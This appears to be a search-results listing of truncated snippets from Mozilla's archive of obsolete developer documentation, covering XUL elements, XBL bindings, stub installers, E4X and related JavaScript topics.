JavaScript API: An API that can be used by scripts inside the bundle to customize the application. We are refining this approach to make the API applicable in as many environments as possible (e.g. it might be useful even for applications running in a normal browser). It should be possible for developers to include Prism-style extension directly in their web app. We would like to harmonize our API with thos...
Priority Content - Archive of obsolete content
he mirror and see anything there that you think should be migrated to Devmo that isn't on this list, feel free to add it below. A raw list of everything that has not been migrated at all appears there. Book Length Works In progress: Netscape Gecko Plugin API Reference 1.0 Original: Netscape Gecko Plugin API Reference 1.0 Wiki Location: Gecko Plugin API Reference Migrators: Started: Core
JavaScript Reference 1.5 Original: Core
JavaScript Reference 1.5 Wiki Location: Core
JavaScript 1.5 Reference Migrators: Deb Richardson In progress: Transforming XML: Netscape and XSLT 1.0 Original: Transforming XML: Netscape and XSLT 1.0 Wiki Location: Transforming XML with XSLT Migrators: Serge K. Keller In progress: Rapid Application Development With Mozilla Original: Author's page and plann...
New Skin Notes - Archive of obsolete content
ormation. -- dria When a page is redirected, need to say-so and what it was redirected from, (see document for an example of such.) This is only an issue in MW1.5 so far. Devmo Skin vs Cavendish Skin --Callek I can probably pull-off this patch if needed (quickly), so dria or others do not have to hunt up "how". --Callek Add "what not to do" css class to stylesheet, as discussed on Talk:Core
JavaScript 1.5 Reference. What's the class called? --Maian 21:08, 1 Sep 2005 (PDT) In the new MW1.5 skin (not the one currently available here) there's class "wrong" and class "wrong-inline". Those will be available after we do the wiki upgrades in the near future. --dria Headers need a little padding. H1 could be smaller. --dria Is it just me or visited links are not marked as such? --Nickolay 07:1...
open - Archive of obsolete content
File is non-standard, not generally compiled into distributions, is a potential source of huge security holes, and not well tested. Summary Opens the file, specifying file mode and type. Syntax open(mode,type) Parameters mode A comma-delimited list describing the method to use to open the file, described in detail here. type A string describing the type of file being opened. Description This method opens the file, preparing its resources for use by subsequent methods to examine or modify the file. Certain methods of File, such as read and write should not be used when the file is not open. ...
Treehydra - Archive of obsolete content
Treehydra is intended for precise static analyses. Most of Treehydra is generated by Dehydra. A Dehydra script walks the GCC tree node structure using the GTY attributes present in GCC. Treehydra is included in Dehydra source, and is built when a plugin-enabled CXX is detected. ...
Using Breakpoints in Venkman - Archive of obsolete content
on Venkman that began with Venkman Introduction. One of the basic tasks of debugging any language is setting breakpoints. Breakpoints are places in code where execution is suspended. When you set a breakpoint in a debugging application such as Venkman, you can take advantage of the suspension to examine variables, objects, and other featues of the execution. This article describes breakpoints in
JavaScript and how to use Venkman to set and examine breakpoints. Basic Breakpoints The Stop button and debugger keyword are useful features of the
JavaScript debugger, but when you are debugging deep in code--especially code you have authored yourself and are responsible for troubleshooting--you're going to need breakpoints. Types of Breakpoints Venkman has two types of breakpoints. The first, and most com...
When To Use ifdefs - Archive of obsolete content
fdefs, see nsCRT.h. Feature ifdefs The mozilla code has many features that can be enabled or disabled by configure flags. For instance, it is possible to disable most of the XUL rendering engine by specifying --disable-xul when configuring the build. When adding ifdefs that implement these configure flags, care must be taken to obey the build dependencies. For instance, XPCOM, the SpiderMonkey
JavaScript engine, and the networking engine do not know anything about XUL and should not have any ifdefs based on --disable-xul. One special "feature ifdef" that deserves special attention is "MOZ_XUL_APP". This variable marks any application that is using the "toolkit". MOZ_XUL_APP ifdefs are not acceptable in tier 9, but are acceptable (even necessary) in later tiers. For an example of feature ifdefs, s...
Binding Implementations - Archive of obsolete content
he value property for an HTMLInputElement. The following is currently not implemented in Mozilla, it seems. See bug #373652 for some details. Implementations can be named using a name attribute specified on the implementation element. When an implementation has a name, that name can be used to disambiguate the desired method or property. Note: The following paragraphs suggest a syntax for how
JavaScript might enable access to base class methods and properties. This is an open issue. Should we attempt to define a language-independent abstraction, or specify that it must be possible to access base bindings' methods and properties? For example, given a binding with an implementation ColorPickerGrid that derives from an implementation ColorPicker where the two implementations both specify the setC...
Elements - Archive of obsolete content
set of methods and properties that are attached to the bound element. Once the binding is attached, these methods and properties can be invoked directly from the bound element. id - The id attribute is a document-unique identifier. name - The name attribute can be used to provide a specific name for an implementation. This name can then be used to reference the implementation. For example, in
JavaScript the value of this attribute represents the name of the corresponding class that is constructed for the implementation. If no name attribute is specified then the binding's document URI and id are used to uniquely reference the binding's implementation. implements - The implements attribute can be used to describe the set of interfaces that are implemented by the binding. Its value is a comma-sep...
Event Handlers - Archive of obsolete content
the object the handler is attached to and if that event matches all of the criteria specified by the handler. The most basic handler specifies the event to listen for and an action to take when the handler fires. This action can be specified either using an action attribute or by specifying the script as a child of the handler element. If both are specified, the attribute wins. In both cases the
JavaScript body is compiled just before execution; code that does not depend on the context of the event should be factored into normal
Javascript file. (Note that there is a possibility that this may change in the future.) Handlers are attached to the bound element, and they are registered by default for bubbling events. This means that <handler event="click" action="foo()"/> is analogous to onclick="f...
XBL - Archive of obsolete content
Encapsulation See also Introduction to XBL from the XUL Tutorial. Custom XUL Elements with XBL from the XUL School Tutorial for add-on developers XBL chapter of "Rapid Application Development with Mozilla" XBL 2.0 Primer (draft) XBL 2.0 Cross-browser implementation in
JavaScript More XBL resources... Community View Mozilla forums... Mailing list Newsgroup RSS feed ...
XML in Mozilla - Archive of obsolete content
us and/or further documentation XML 1.0 W3C Recommendation Namespaces in XML W3C Recommendation Associating Stylesheets with XML Documents W3C Recommendation Styling XML Documents with CSS Manipulating XML documents with scripts through DOM Serializing XML DOM trees to
Javascript Object trees (JXON) Other Supported XML W3C Recommendations Specification or Technology Documentation XHTML W3C Recommendation XML Base W3C Recommendation XLink (simple XLinks only) Obsolete since Gecko 2.0 W3C Recommendation FIXptr Obsolete since Gecko 1.9.1 W3C "proposal...
Mac stub installer - Archive of obsolete content
e packages-mac manifest that describes which files from dist belong to which module. For example, see the xpcom section that lists all the shared libraries as seen in dist. These are eventually zipped with the directory structure preserved. Read the top of the packages-mac file for it's simple syntax and semantics. Add an <component>.jst install script template file (the jst extension stands for
javascript template indicating this is a template for the final install.js for the <component>.xpi. Checkin the <component>.jst to the: <http://lxr.mozilla.org/seamonkey/sou.../packager/mac/> directory. Note that there are two macro strings in the .jsts: $Version$ which is replaced at packages time with the browser version. $SpaceRequired$ which is replaced at package time with the amount of space in KB r...
Unix stub installer - Archive of obsolete content
packages-unix manifest that describes which files from dist belong to which module. For example, see the xpcom section that lists all the shared libraries as seen in dist. These are eventually zipped with the directory structure preserved. Read the top of the packages-unix file for it's simple syntax and semantics. Add an <component>.jst install script template file (the jst extension stands for
javascript template indicating this is a template for the final install.js for the <component>.xpi. Checkin the <component>.jst to the: <http://lxr.mozilla.org/seamonkey/sou.../packager/unix> directory. Note that there are two macro strings in the .jsts: $Version$ which is replaced at packages time with the browser version. $SpaceRequired$ which is replaced at package time with the amount of space in KB r...
Windows stub installer - Archive of obsolete content
e packages-win manifest that describes which files from dist belong to which module. For example, see the xpcom section that lists all the shared libraries as seen in dist. These are eventually zipped with the directory structure preserved. Read the top of the packages-win file for it's simple syntax and semantics. Add an <component>.jst install script template file. The jst extension stands for
javascript template indicating this is a template for the final install.js for the <component>.xpi. Checkin the <component>.jst to the: <http://lxr.mozilla.org/seamonkey/sou...ckager/windows> directory. Note that there are several macro strings--a macro name wrapped in dollar ($) signs--which may be used in the .jsts, including: $Version$ which is replaced at packages time with the browser version. $Space...
Install Wizards (aka: Stub Installers) - Archive of obsolete content
Warning: The content of this article may be out of date. See Bundles for the current documentation. What do we mean by installer package? An installer package is an archive file (called xpi--pronounced "zippies"--because of its .xpi extensions) in Phil Katz zip format. It contains some files to be installed and the install script, usually named install.js, which contains
JavaScript directives for actions to take during an install including adding files and directories, removing old or obsolete files and directories, executing command line tools, etc. To learn more about the XPInstall and installer packages please refer to The Annotated Browser XPI Installer and the XPInstall API Reference. What do we mean by engine code? The XPInstall engine processes installer packages by read...
contentView - Archive of obsolete content
e the DOM element corresponding to a given a row index and vice versa. For trees that are not built with a content builder, the functions of nsITreeContentView will not be available, since there are no DOM nodes to retrieve. In newer versions of Mozilla, the contentView property is actually a synonym for the view property, since the two interfaces are flattened together into a single interface in
JavaScript. This property is read-only. ...
currentIndex - Archive of obsolete content
the value will be -1. You cannot rely on this property to change or determine a tree selection, except for trees with seltype="single". (All trees have seltype="multiple" by default.) To reliably change or determine a selection, instead use the nsITreeSelection interface methods available via tree.view.selection. Example // One way of retrieving the text of a cell. ...
Template Builder Interface - Archive of obsolete content
e content will be generated at once. Be careful that your templates do not recurse to deep levels. The builder property is a property of the nsIDOMXULElement interface, so all XUL elements will have this property, although, as mentioned earlier, is will be set to null for most elements. For non-XUL elements, the template builder will be assigned to a builder property on the element using a custom
JavaScript property instead. Rebuilding and Refreshing a Template The main purpose of accessing the builder for an element is to call its 'rebuild' method. This method removes any existing generated content and deletes all data in the rule network. Then, the method recompiles the query and the rules and regenerates the content. Essentially, the rebuild method instructs the builder to remove any existing inf...
textbox (Toolkit autocomplete) - Archive of obsolete content
al Values/Functions i.e. window, document, or any of the functions/objects/variables bound to the window object Event object Example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="Find Files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/
javascript"> function myFunction(e){ /* Do something cool here or just say the below */ alert(e.target.nodeName); } </script> <textbox id="find-text" onchange="return myFunction(event);"/> </window> oninput Type: script code This event is sent when a user enters text in a textbox. This event is only called when the text displayed would change, thus it is not called when the...
Textbox (XPFE autocomplete) - Archive of obsolete content
al Values/Functions i.e. window, document, or any of the functions/objects/variables bound to the window object Event object Example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="Find Files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/
javascript"> function myFunction(e){ /* Do something cool here or just say the below */ alert(e.target.nodeName); } </script> <textbox id="find-text" onchange="return myFunction(event);"/> </window> onerrorcommand Type: script code This event handler is called when an error occurs when selecting a result from the popup. oninput Type: script code This event is sent ...
Tree Widget Changes - Archive of obsolete content
the most part these objects are readonly; you can modify the columns by just adjusting the treecol attributes directly. The tree and view methods no longer take ids as arguments when columns are used. Instead, they use nsITreeColumns. For example, nsITreeView.getCellValue() takes a row index and a nsITreeColumn as arguments, whereas before it took a row index and a column id. ...
Adding Buttons - Archive of obsolete content
appears. You can also specify the image in a stylesheet using the list-style-image property. disabled If this attribute is set to true, the button is disabled. This is usually drawn with the text in grey. If the button is disabled, the function of the button cannot be performed. If this attribute is left out entirely, the button is enabled. You can switch the disabled state of the button using
JavaScript. accesskey This should be set to a letter that is used as a shortcut key. This letter should appear in the label text and will typically be drawn underlined. When the user presses ALT (or a similar key that varies on each platform) and the access key, the button will be focused from anywhere in the window. Note: Buttons support more attributes than those listed above. Others will be discusse...
Adding Event Handlers to XBL-defined Elements - Archive of obsolete content
d to the inner content as usual. The general handler syntax is as follows: <binding id="binding-name"> <handlers> <handler event="event-name" action="script"/> </handlers> </binding> Place all of your handlers within the handlers element. Each handler element defines the action taken for a particular event specified by its event attribute. Valid event types are those supported by XUL and
JavaScript, such as click and focus. Use the event name without the 'on' in front of it. A common reason to set handlers is to modify the custom properties when an event occurs. For example, a custom checkbox might have a checked property which needs to be changed when the user clicks the checkbox: <handlers> <handler event="mouseup" action="this.checked=!this.checked"/> </handlers> When the user clicks ...
Adding Properties to XBL-defined Elements - Archive of obsolete content
With XBL, you can define your own properties for the elements you create. You can also add methods that can be called. That way, all you need is to get a reference to the element (using document.getElementById or a similar function) and then get or set the additional properties and call the methods on it. There are three types of items you can add. Fields are used to hold a simple value. ...
Creating an Installer - Archive of obsolete content
nd files dialog. function doneFn ( name , result ){ if (result) alert("An error occured: " + result); } var xpi = new Object(); xpi["Find Files"] = "findfile.xpi"; InstallTrigger.install(xpi,doneFn); The XPI Archive Note: If you want to create a new XULRunner application, extension, or theme, see Bundles. The installer XPI file is required to contain one file called install.js which is a
JavaScript file which is executed during the installation. The remaining files are the files to be installed. These files will typically be placed inside a directory in the archive but they do not have to be. For chrome files, they might be structured like the chrome directory. Often, the only files placed in an XPI archive will be the install script (install.js) and a JAR file. This JAR file contains all ...
Custom Tree Views - Archive of obsolete content
e and retrieve the data in the most suitable manner for the kind of data used, the tree can be used even when there are hundreds of thousands of rows to be displayed. Note: The tree-related interfaces changed in Gecko 1.8. See Tree Widget Changes for details. To implement a custom view, you will need to create an object which implements the nsITreeView interface. You can create these objects in
JavaScript, but you will need a separate object for each tree. Naturally, since a custom tree view is being used, the content tree view will not be used, so the treeitem, treerow, and treecell elements will have no purpose since the custom view will get its data from elsewhere. Thus, you can just leave the treechildren element empty. The following example shows this: <tree id="my-tree" flex="1"> <treecol...
Features of a Window - Archive of obsolete content
The width and height only specify the initial size of the window. The user may still resize the window to another size, assuming that the window is resizable. Other Window Features The flags below can be passed as part of the third argument to the window.open function. Your operating system may not support all of them. You can also use any of the pre-existing flags, which you should find in a
JavaScript reference. You may disable a feature by setting it to 'no', for example 'dialog=no'. alwaysLowered The window will always appear behind other windows. alwaysRaised The window will always appear above other windows. centerscreen The window will be centered on the screen when it is opened. dependent The window will always appear relative to the window that opened it. If the window that op...
Install Scripts - Archive of obsolete content
ons of files and only install updated files, or perhaps you wish to apply patches to existing files. The install script is even flexible enough to allow you to uninstall files. For this reason, installers include an install script to handle the installation process. The installer script must be called install.js and must be placed at the top level of the installer archive. The script will contain
JavaScript code which calls a number of install functions. In an HTML document, or a XUL document, the window object is the root global object. That means that you can call the methods of the window object with the qualifier before it, which means that window.open() can simply be written open(). In an install script, there is no associated window, however the global object will be an Install object which co...
Modifying a XUL Interface - Archive of obsolete content
a box container element in XUL. Notice that this is NOT the same as a vbox or an hbox. (This is discussed more in the Box Model pages.) the box element has two attributes "id" and "width". the box element contains a button element. the button element has two attributes "label" and "oncommand" a
Javascript function named "addButton()" This script first gets a reference to the box with getElementById(), which is the container to add a new button to. The function getElementbyID() does not know that the box it is looking for happens to be containing the tag that has the oncommand attribute that referenced it. getElementById() only knows the box it is looking to find has an id with t...
Skinning XUL Files by Hand - Archive of obsolete content
is the style, content, and structure. The chrome is everything in the front end of an application. Much of what makes XUL look (and act!) the way it does comes from the CSS for each XUL element. CSS2, for example, gives you control over the absolute positioning of any element within its parent element. Also, most of the behavior that buttons exhibit comes from styles and an event model based on
JavaScript that dynamically switches between these styles. Mozilla's current global skin defines this basic behavior for several classes of button. A button is styled by the global skin when its class attribute is set to a class which is defined in the global skin. For example, when a button is defined as follows: <button class="plain" label="Push Me" /> Then the following very simple style definition ap...
Templates - Archive of obsolete content
Templates are Built When an element has a datasources attribute, it indicates that the element is expected to be built from a template. Note that it isn't the template tag that determines whether content is built, it is the datasources attribute. When this attribute is present, an object called a Builder is added to the element which is responsible for building the content from the template. In
JavaScript you can access the builder object with the builder property, although usually you would only need to do this to have the builder regenerate the content in situations where it is not done automatically. There are two different types of builders. The first is a content builder and is used in most situations, and the other is a tree builder which is used only for trees. Content Builder The conten...
Tree View Details - Archive of obsolete content
isSorted: function() { return false; }, isEditable: function(idx, column) { return false; }, } The rowCount function will return the length of the visibleData array. Note that it should return the current number of visible rows, not the total. So, at first, only three items are visible and the rowCount should be three, even though six rows are hidden. Also note the use of the
JavaScript get operator to bind a property to a function, so to have the value of the rowCount property that can change dynamically over time, as rowCount has to be a read-only attribute as defined in nsITreeView. The setTree function will be called to set the tree's box object. The tree box object is a specialized type of box object specific to trees and will be examined in detail in the next section. It ...
Trees - Archive of obsolete content
s for every tree can be very cumbersome, especially for simple trees. Fortunately, XUL provides a couple of built-in view implementations which do most of the hard work for you. For most trees, especially when you first start to use trees, you will use one of these built-in types. However, you can create a view entirely from scratch if necessary. If you do, you might store the data in an array or
JavaScript data structure, or load the data from an XML file. Since the entire body of the tree is a single widget, you can't change the style of individual rows or cells in the normal way. This is because there are no elements that display the individual cells, like there is with the listbox. Instead, all drawing is done by the tree body using data supplied by the view. This is an important point and many...
XPCOM Examples - Archive of obsolete content
m the menu. The function switchFocus(): first gets a reference to a component which implements the window mediator interface. Next, we get the id attribute for the element. We can use the value of the id attribute as the resource. The function getWindowForResource() takes the resource and returns a window that matches it. This window, stored in the switchwindow variable, is the same as the
JavaScript window object. This means that you can call any of the functions provided by it, one of which is the focus() function. Cookies Next, we will get a list of cookies that have been saved in the browser. The cookie service can be used for such a purpose. It implements the nsICookieManager interface which can be used to enumerate over all of the cookies. Here is an example which populates a menu li...
Using nsIXULAppInfo - Archive of obsolete content
cations or several versions of a single application. This is not useful for scripts on webpages, which should continue using the navigator object when it's not possible to rely on feature-detection. nsIXULAppInfo interface To distinguish between different Mozilla-based applications, use the frozen nsIXULAppInfo interface. The following sections provide a few examples of using nsIXULAppInfo from
JavaScript. Note that while Firefox 1.5, Thunderbird 1.5, and XULRunner 1.8-based applications support nsIXULAppInfo, older applications, such as Firefox and Thunderbird 1.0, do not support it. You'll need to have additional code for those older versions. Getting nsIXULAppInfo To get a component implementing nsIXULAppInfo use this code: var appInfo = Components.classes["@mozilla.org/xre/app-info;1"] ...
Using spell checking in XUL - Archive of obsolete content
} else { // It's spelled incorrectly } } Getting a list of suggestions To get a list of suggestions for a misspelled word, you call the suggest() method, specifying the word and an object to be filled with an array of possible suggestions. var suggestions = {}; gSpellCheckEngine.suggest("kat", suggestions, {}); if (suggestions.value) { // suggestions.value is a
JavaScript Array of strings // there were suggestions.value.length suggestions found } ...
XUL accessibility guidelines - Archive of obsolete content
. Maintaining focus The user should typically control where the current focus is located. Avoid changing the focus automatically. However, disabling, hiding, or destroying the focus element (or any ancestor of the focus element) can cause a loss of focus. To prevent this, move the focus to the next element before disabling, hiding, or destroying the focus element. The following example shows a
JavaScript function that can be called before destroying an element to check for focus and move it if necessary. function moveFocus(element) { if(element == document.commandDispatcher.focusedElement) { document.commandDispatcher.advanceFocus(); return true; } return false; } Changing focus unexpectedly can confuse or disorient users. A common example of this occurrence ...
XUL Event Propagation - Archive of obsolete content
e it happen.) For an event to be useful somewhere higher up, however, it is very often necessary to determine which element below the handler actually raised the event. For example, if an event handler at the menu is handling an event raised by one of the menu items, then the menu should be able to identify the raising element and take the appropriate action, as in the following example, where a
JavaScript function determines which menuitem was selected and responds appropriately: <script> function doCMD(el) { v = el.getAttribute("value"); if (v == "New") alert("New clicked"); else if (v == "Open") alert("Open clicked"); else alert("Close clicked"); } </script> ... <menu class="menu" value="File" oncommand="doCMD(event.target)"> <menupopup> <menuitem oncommand="alert('New item ...
checkbox - Archive of obsolete content
ck box by selecting it with the mouse. A label, specified with the label attribute, may be added beside the check box. More information is available in the XUL tutorial. Attributes accesskey, checked, command, crop, disabled, src, label, preference, tabindex Properties accessKey, accessibleType, checked, command, crop, disabled, src, label, tabIndex Examples <checkbox label="Enable
JavaScript" checked="true"/> <checkbox label="Enable Java" checked="false"/> Attributes accesskey Type: character This should be set to a character that is used as a shortcut key. This should be one of the characters that appears in the label attribute for the element. checked Type: boolean Indicates whether the element is checked or not. Use hasAttribute() to determine whethe...
colorpicker - Archive of obsolete content
al Values/Functions i.e. window, document, or any of the functions/objects/variables bound to the window object Event object Example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="Find Files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/
javascript"> function myFunction(e){ /* Do something cool here or just say the below */ alert(e.target.nodeName); } </script> <textbox id="find-text" onchange="return myFunction(event);"/> </window> preference Type: id Connects the element to a corresponding preference. This attribute only has any effect when used inside a prefwindow. More information is available in the Pr...
notificationbox - Archive of obsolete content
styling might still need additional CSS in order to work as you might expect. value - value used to identify the notification image - URL of image to appear on the notification. If "" then an icon appropriate for the priority level is used. priority - notification priority; see Priority Levels. buttons - array of button descriptions to appear on the notification. eventCallback Optional - a
JavaScript function to call to notify you of interesting things that happen with the notification box. See Notification box events. Priority Levels (defined as properties of notificationbox) : PRIORITY_INFO_LOW PRIORITY_INFO_MEDIUM PRIORITY_INFO_HIGH PRIORITY_WARNING_LOW PRIORITY_WARNING_MEDIUM PRIORITY_WARNING_HIGH PRIORITY_CRITICAL_LOW PRIORITY_CRITICAL_MEDIUM PRIORITY_CRITICAL_HIGH PRIOR...
preference - Archive of obsolete content
al Values/Functions i.e. window, document, or any of the functions/objects/variables bound to the window object Event object Example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="Find Files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/
javascript"> function myFunction(e){ /* Do something cool here or just say the below */ alert(e.target.nodeName); } </script> <textbox id="find-text" onchange="return myFunction(event);"/> </window> readonly Type: boolean If set to true, then the user cannot change the value of the element. However, the value may still be modified by a script. tabindex Type: integer...
script - Archive of obsolete content
sing script tags. More information is available in the XUL tutorial. Attributes src, type Examples <script src="test.js"/> <script src="http://example.com/js/test.js"/> <script> function foo(){ // code } </script> Attributes src Type: URI The URI of the script. type Type: language content type The language of the script. Usually, you would set this to application/
javascript. Note: If the
JavaScript file is in chrome://, setting this attribute to application/
javascript will always use the latest available
JavaScript version. If you omit this attribute, the default (and older)
JavaScript version is used (like you get when including a
JavaScript file from web content without specifying a version number). Inherited from XUL element align, allowevents, allownegat...
textbox - Archive of obsolete content
a Style classes The following classes may be used to style the element. These classes should be used instead of changing the style of the element directly since they will fit more naturally with the user's selected theme. plain This class causes the element to be displayed with no border or margin. Notes The maxlength attribute does not work when in multiline mode. A workaround using
JavaScript and the onkeypress event handler as shown in abstract below may be your solution. The XUL script: <textbox id="pnNote" multiline="true" rows="2" cols="70" onkeypress="return pnCountNoteChars(event);"/> The
Javascript: function pnCountNoteChars(evt) { //allow non character keys (delete, backspace and and etc.) if ((evt.charCode == 0) && (evt.keyCode != 13)) return true; if (evt.tar...
window - Archive of obsolete content
r grippy on maximized windows). Note: When a window is minimized, the sizemode attribute is not updated. This is done so that if a window is closed while minimized, its persisted sizemode attribute wouldn't be minimized. Setting this attribute does not change the window state. Use window.maximize(), window.restore(), or window.minimize() to change the window state. To get the window state from
JavaScript code, use window.windowState. Listen to the sizemodechange event dispatched to the DOM window to get notified when the window state changes. title Type: string The text to appear in the title bar of the window. width Type: string (representing an integer) The preferred width of the element. The value should not include a unit as all values are in pixels. The actual displayed widt...
XUL - Archive of obsolete content
UL online live editor (copy & paste snippets from here and run them) XUL Explorer (a lightweight XUL IDE) XULExplorer (Patched version of XUL explorer) Extension developer's extension (featuring a Live XUL Editor) XULRef sidebar Firebug DOM Inspector Spket IDE, IDE for XUL/XBL Ample SDK, (Cross-browser XUL renderer in
JavaScript/HTML) View All... Related Topics
JavaScript, XBL , CSS, RDF, Extensions, XULRunner ...
Creating XULRunner Apps with the Mozilla Build System - Archive of obsolete content
ain variables are used for things like the application name and version. But you will have to change the ID to something unique to your app. default-prefs.js - these are the default Mozilla preferences used by XULRunner when running your app. The important ones are described in XULRunner:Specifying Startup Chrome Window. You can add other preferences for things like debugging, as McCoy does (e.g.
javascript.options.showInConsole). default.ico and default.xpm - Icons for your app on Windows and Linux. macbuild/ - When Steve Jobs said "think different", we took that to heart, and not just by rejecting useless adverbial endings. We've included a whole subdirectory just for the Mac. It's got a lot of stuff in it, but once again you can mostly ignore this and copy the whole directory over from McCoy. You...
MacFAQ - Archive of obsolete content
ICommandLine try/catch can be removed, all you need is the window.arguments[0]) <?xml version="1.0"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="myXUL_hidden" windowtype="myXUL:hiddenwindow" title="" width="0" height="0" persist="screenX screenY width height sizemode" > <!-- Load the Mozilla helpers --> <script type="application/
javascript" src="chrome://global/content/nsUserSettings.js" /> <script><![CDATA[ function debug(aLogString) { var mConsoleService = Components.classes["@mozilla.org/consoleservice;1"] .getService(Components.interfaces.nsIConsoleService) mConsoleService.logStringMessage("myXUL: " + aLogString + "\n"); } function checkOtherWindows() { var single...
xulauncher - Archive of obsolete content
le ############################################################################## echo " content $XULNAME file:$XULNAME/ ">$XULMANIFEST # create prefs.js file ############################################################################## echo " pref(\"toolkit.defaultChromeURI\", \"chrome://$XULNAME/content/$XULFILE\"); /* debugging prefs */ pref(\"browser.dom.window.dump.enabled\", true); pref(\"
javascript.options.showInConsole\", true); pref(\"
javascript.options.strict\", true); pref(\"nglayout.debug.disable_xul_cache\", true); pref(\"nglayout.debug.disable_xul_fastload\", true); ">$XULPREFS # copy xul file to right location and run it ############################################################################## cp $XULFILE $XULDIR xulrunner $XULAPPINI $@ ...
XUL Explorer - Archive of obsolete content
The XUL can be loaded from and saved to files. A XUL validator and the Error Console are both available to help debug problems. The help menu provides access to XUL information on MDC. There is even simple "keyword" help lookup for XUL elements. ...
calICalendarView - Archive of obsolete content
y intended to serve as a way of manipulating a set of DOM nodes corresonding to a visual representation of calIEvent and calITodo objects. Because of this close association between methods and attributes on the one hand, and content on the other, calICalendarView implementations are particularly well suited to XBL. There is, however, no practical obstacle to the interface being implemented by any
javascript object associated with a group of DOM nodes, even non-anonymous XUL nodes. In the vast majority of cases, the DOM corresponding to an implementation of calICalendarView will be rather complex. This explains the need for the fairly large list off attributes and methods that must be implemented, so that outside code can be able to gain a decent picture of the current state of those nodes. It should...
mozilla.dev.platform FAQ - Archive of obsolete content
mework is installed in /Library/Frameworks. Any suggestions? " A: Make sure the app can find the Framework or you can use the packages of the Firefox release repackager which uses the embedded framework successfully. Please make sure you're using 1.8.0.4 or later (not 1.8.0.1, which had a bug that prevented this from working properly). Q: When using xul elements <browser/> and <tabbrowser/> the
javascript popup windows don't work out of the box, what needs to be implement? A: Have the browser.chromeURL preference - this should be a XUL document containing a <browser type="content-primary"> element in which the popup window's content should get loaded. Visual Studio Express 2005 Q: When I try to run xulrunner-stub.exe I get the error "this application failed to start because MSVCR80.dll was not f...
xbDesignMode.js - Archive of obsolete content
Netscape Cross Browser Design Mode code. * * The Initial Developer of the Original Code is * Netscape Communications Corporation. * Portions created by the Initial Developer are Copyright (C) 2003 * the Initial Developer. All Rights Reserved. ...
2006-11-17 - Archive of obsolete content
zilla.dev.apps.firefox - November 10, 2006 - November 17, 2006 Announcements None this week. Discussions mozilla access to http? to Snipurl? User is looking for advice how to access HTTP or Snipurl. No replies as of yet. Firefox 2.0 - window.focus() User questions where the change in behaviour in window.focus() is a bug or was intented. Firefox 2.0
JavaScript Popup Issue User seeks advice about a line of
JavaScript code that worked in Firefox 1.5.0.x, but not in Firefox 2.0 Balloon Help User inquires if anyone can explain how to disable the balloon help in Firefox 2.0. Two questions: (1) launching a separate intance of firefox.exe, and (2) programmatically closing a window User has two questions abo...
-ms-filter - Archive of obsolete content
filterFrom.filters.item(0).Transition=12; imageFrom.style.visibility = "hidden"; filterTo.style.visibility = ""; filterFrom.filters.item(0).play(14); } </script> </body> Gra...
-ms-touch-select - Archive of obsolete content
specification. Remarks This property requires Windows 8 or later. The -ms-touch-select property should only be used by applications that provide their own selection experience. Most other applications should use the -ms-user-select property instead. If you choose to hide the grippers, you should ensure that users have a mechanism for selecting text via touch. To find out how to do this using
JavaScript, see the HTML5 Selection APIs. This property has no effect on mouse, keyboard, or touchpad interaction. ...
Namespaces - Archive of obsolete content
ml namespace = "http://www.mozilla.org/keymaster/gat...re.is.only.xul"; var b = <label>More text</label>; a.appendChild(b); gives <p xmlns="http://www.w3.org/1999/xhtml"> Some text <label xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul">More text</label> </p> name() Using name() on an XML object returns a QName object (Qualified Name). QName is a global constructor available in
JavaScript implementations supporting E4X. QName objects have two properties of particular relevance. The localName property returns the name of the element, without any namespace prefix. The uri property returns the uri of the namespace that the element is in. var info = a.name(); info.localName; // returns 'p'. info.uri; // returns "http://www.w3.org/1999/xhtml" Elements in no namespace return the empty...
The global XML object - Archive of obsolete content
The XML object has several properties that allow you to customize parsing and serialization of E4X. XML elements will remember the settings of the XML object from the time of their creation. Extending XML.prototype XML.prototype and XMLList.prototype (XMLList.prototype is actually just XML.prototype) cannot be extended in the same conventional way as other constructors such as Object. You can only define methods in XML.prototype and not fields. To add a method to XML.prototype, define XML.prototype.function::methodName or XML.prototype.function::[methodNameString]. ...
E4X Tutorial - Archive of obsolete content
xt >> Warning: E4X is deprecated. It will be disabled by default for content in Firefox 16, disabled by default for chrome in Firefox 17, and removed in Firefox 18. Use DOMParser/DOMSerializer or a non-native JXON algorithm instead. This tutorial walks you through the basic syntax of E4X (ECMAScript for XML). With E4X, programmers can manipulate an XML document with a syntax more familiar to
JavaScript programming. Subjects Introduction Accessing XML children Descendants and Filters Namespaces The global XML object See also E4X Processing XML with E4X Next >> ...
Array comprehensions - Archive of obsolete content
h Firefox 58. For future-facing usages, consider using Array.prototype.map, Array.prototype.filter, arrow functions, and spread syntax. Obsolete since Gecko 58 (Firefox 58 / Thunderbird 58 / SeaMonkey 2.55)This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. The array comprehension syntax was a
JavaScript expression which allowed you to quickly assemble a new array based on an existing one. However, it has been removed from the standard and the Firefox implementation. Do not use it! Syntax [for (x of iterable) x] [for (x of iterable) if (condition) x] [for (x of iterable) for (y of iterable) x + y] Description Inside array comprehensions, these two kinds of components are allowed: for...of...
ECMAScript 2016 to ES.Next support in Mozilla - Archive of obsolete content
New versions of ECMAScript specifications are released yearly. So far, ES2016, ES2017, and ES2018 have been released. This year, the ES2019 specification will be released and ES2020 is the current ECMAScript draft specification. You can see the latest proposals on the tc39/ecma262 GitHub repository. A channel for feedback on ECMAScript standards is es-discuss. ...
Date.getVarDate() - Archive of obsolete content
